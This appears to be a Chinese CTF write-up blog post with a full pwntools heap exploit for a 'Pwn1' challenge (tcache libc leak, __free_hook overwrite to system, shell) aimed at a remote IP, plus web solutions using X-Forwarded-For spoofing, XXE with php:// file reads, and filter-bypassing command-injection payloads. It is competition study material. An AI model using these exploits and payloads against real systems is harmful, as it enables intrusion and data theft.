0X00 Pwn1
没有检查偏移,有数组越界
sleep有多线程竞争
解题思路
主要是利用多线程竞争时候的sleep(3),run后把对应的堆块free掉之后,可以泄露地址。本地远程同时测试得到环境是libc2.27,用ubuntu18.04直接跑测试,然后通过填满tcache来泄露libc,然后通过run来修改fd为free_hook,然后再malloc两次,第二次写free_hook为system地址,再delete直接getshell。
from pwn import *
context(os='linux',arch='amd64',aslr= 'False',log_level='debug')
local = 0
if local == 1:
p = process('./pwn1')
elf = ELF('./pwn1')
libc = elf.libc
#p =process(['/lib64/ld-linux-x86-64.so.2', './pwn1', './libc.so.6'])
else:
p =remote("119.61.19.212",8087)
elf = ELF('./pwn1')
libc = ELF('./libc-2.27.so')
def add(index, content):
#p.recvuntil('3.run\n')
p.sendline('1')
p.recvuntil('index:\n')
p.sendline(str(index))
p.recvuntil('content:\n')
p.sendline(content)
def delete(index):
p.recvuntil('3.run\n')
p.sendline('2')
p.recvuntil('index:\n')
p.sendline(str(index))
def run(index, key):
#p.recvuntil('3.run\n')
p.sendline('3')
p.recvuntil('index:\n')
p.sendline(str(index))
p.recvuntil('input key:')
p.sendline(str(key))
sleep(1)
delete(str(index))
for i in xrange(8):
add(i,'A\n')
for i in xrange(7):
delete(6-i)
run(7,0)
p.recvuntil('3.run\n')
leak = u64(p.recvn(6).ljust(8,'\0'))
log.success('leak : ' +hex(leak))
libc_address = leak - 0x3ebca0
system = libc_address +libc.symbols['system']
free_hook = libc_address +libc.symbols['__free_hook']
log.success('system : ' +hex(system))
log.success('free_hook : ' +hex(free_hook))
add(0,'A'*0x10)
add(1,'A'*0x10)
run(0,0)
p.recvuntil('3.run\n')
heap_addr =u64(p.recvn(6).ljust(8, '\0')) - 0x160
log.success('heap_addr : ' +hex(heap_addr))
addr = heap_addr ^ free_hook
run(1,addr)
p.recvuntil('3.run\n')
addr2 =u64(p.recvn(6).ljust(8, '\0'))
log.success('heap_addr2 : ' +hex(addr2))
add(2,'/bin/sh\x00')
add(3,p64(system))
delete(2)
p.interactive()
PWN是CTF赛事中主流题型,主要考察参赛选手的逆向分析能力以及漏洞挖掘与Exploit利用编写能力。相关PWN的学习可到合天网安实验室学习实验——CTF-PWN系列汇总,可扫描下方二维码预览学习。
0x01 Web
1. 小明又被拒绝了
修改XFF:127.0.0.1,admin=1
2. XX?
看到源码,以及题目意思,尝试使用XXE攻击
]>
&xxe;
mypass
伪协议读取flag.php
]>
&xxe;
mypass
想了解php中的伪协议的应用及攻击手段研究,可到合天网安实验室学习实验——PHP安全特性之伪协议,可扫描下面二维码开始预览学习。
3. Ping一下
fuzz之后,可以发现|被过滤,可以使用;代替
发现cat,php会提示警告,使用\分割即可:
%3Bc\at%24%7BIFS%7Din\dex.p\hp,但是源码显示并不完全:
使用tail命令读取最后一行
%3Bta\il%24%7BIFS%7D-1%24%7BIFS%7D/fl\ag
4. PHP
关注
打赏
最近更新
- 深拷贝和浅拷贝的区别(重点)
- 【Vue】走进Vue框架世界
- 【云服务器】项目部署—搭建网站—vue电商后台管理系统
- 【React介绍】 一文带你深入React
- 【React】React组件实例的三大属性之state,props,refs(你学废了吗)
- 【脚手架VueCLI】从零开始,创建一个VUE项目
- 【React】深入理解React组件生命周期----图文详解(含代码)
- 【React】DOM的Diffing算法是什么?以及DOM中key的作用----经典面试题
- 【React】1_使用React脚手架创建项目步骤--------详解(含项目结构说明)
- 【React】2_如何使用react脚手架写一个简单的页面?
立即登录/注册


微信扫码登录